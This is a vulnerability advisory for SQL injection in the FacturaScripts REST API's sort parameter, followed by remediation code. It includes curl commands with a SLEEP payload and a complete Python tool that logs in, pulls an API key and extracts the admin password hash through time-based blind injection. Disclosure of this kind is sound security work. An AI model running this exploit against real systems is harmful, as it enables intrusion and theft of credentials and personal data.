FacturaScripts has SQL Injection in API ORDER BY Clause

Summary

FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality.

Details

The FacturaScripts REST API exposes database models through various endpoints (e.g., /api/3/users, /api/3/attachedfiles, /api/3/customers). These endpoints support a sort parameter that allows clients to specify result ordering. The API processes this parameter through the ModelClass::all() method, which calls the vulnerable getOrderBy() function.

Vulnerable Code Locations

1. Legacy Models: File: /Core/Model/Base/ModelClass.php Method: getOrderBy() Direct concatenation of keys and values from the $order array.

2. Modern Models (DbQuery): File: /Core/DbQuery.php Method: orderBy() Lines: 255-259

        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.

Proof of Concept (PoC)

Prerequisites

• Valid API authentication token (X-Auth-Token header)
• Access to FacturaScripts API endpoints

Step-by-Step Verification (CLI)

Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.

1. Login and Retrieve a valid API key: We handle the CSRF token and session cookies to access the settings and retrieve the first available key.

# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Verify Time-Based SQL Injection: Use the extracted API_KEY in the X-Auth-Token header.

# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.

Automated Exploitation Tool

This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.

import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()

<img width="862" height="1221" alt="image" src="https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273" />

Impact

Data Confidentiality

• Complete database disclosure through blind SQL Injection techniques
• Extraction of sensitive data including:
  • User credentials and API keys
  • Customer PII (personal identifiable information)
  • Financial records and transaction data
  • Business intelligence and pricing information
  • System configuration and secrets

Who is Impacted?

• Organizations using FacturaScripts API for integrations
• Mobile apps and third-party integrations using the API
• All users whose data is accessible via API
• Business partners with API access

Recommended Fix

Immediate Remediation

Option 1: Implement Strict Whitelist Validation (Recommended)

// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }

        // Escape column name
        $safeColumn = self::$dataBase->escapeColumn($key);
        $result .= $coma . $safeColumn . ' ' . $value;
        $coma = ', ';
    }

    return $result;
}

Option 2: Use Database Escaping Functions

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    foreach ($order as $key => $value) {
        // Escape identifiers and validate direction
        $safeColumn = self::$dataBase->escapeColumn($key);
        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
            ? strtoupper($value)
            : 'ASC';

        $result .= $coma . $safeColumn . ' ' . $safeDirection;
        $coma = ', ';
    }

    return $result;
}

Option 3: Use Query Builder Pattern

// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
    $query = self::table();

    // Apply WHERE conditions
    foreach ($where as $condition) {
        $query->where($condition);
    }

    // Apply ORDER BY with validation
    foreach ($order as $column => $direction) {
        if (!array_key_exists($column, static::getModelFields())) {
            continue; // Skip invalid columns
        }
        $query->orderBy($column, $direction);
    }

    return $query->offset($offset)->limit($limit)->get();
}

API Security Best Practices

// Add to API configuration
$config = [
    'max_sort_fields' => 3,  // Limit number of sort fields
    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
    'default_sort' => 'id ASC',  // Safe default
];

Credits

Discovered by: Łukasz Rybak